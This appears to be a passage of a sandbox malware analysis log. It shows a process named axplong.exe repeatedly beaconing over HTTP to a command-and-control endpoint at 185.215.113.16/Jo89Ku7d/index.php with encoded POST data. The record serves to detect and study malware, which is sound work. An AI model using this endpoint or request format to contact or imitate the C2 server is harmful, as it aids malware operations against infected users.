Sep 27, 2024 17:42:40.803431988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:40.805481911 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:41.035911083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49819	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:41.153410912 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:41.931767941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:41.932569027 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:42.164429903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49821	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:42.306612015 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:43.047832966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:43.069158077 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:43.312967062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49823	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:43.517040014 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:44.228558064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:44.248790979 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:44.483057022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49824	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:44.644453049 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:45.341553926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:45.360764980 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:45.584373951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49826	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:45.709882975 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:46.427062988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:46.474534988 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:46.704027891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49827	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:46.824382067 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:47.538531065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:47.564946890 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:47.804733992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49829	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:47.969048023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:48.715414047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:48.721458912 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:48.956645966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49831	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:49.309902906 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:49.871306896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:49.892885923 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:50.160288095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49834	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:50.296418905 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:51.015335083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:51.016426086 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:51.241101027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49835	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:51.359771013 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:52.086167097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:52.120803118 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:52.350513935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49837	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:52.465869904 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:53.176367998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:53.177192926 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:53.412367105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49839	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:53.533193111 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:54.235832930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:54.633291006 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
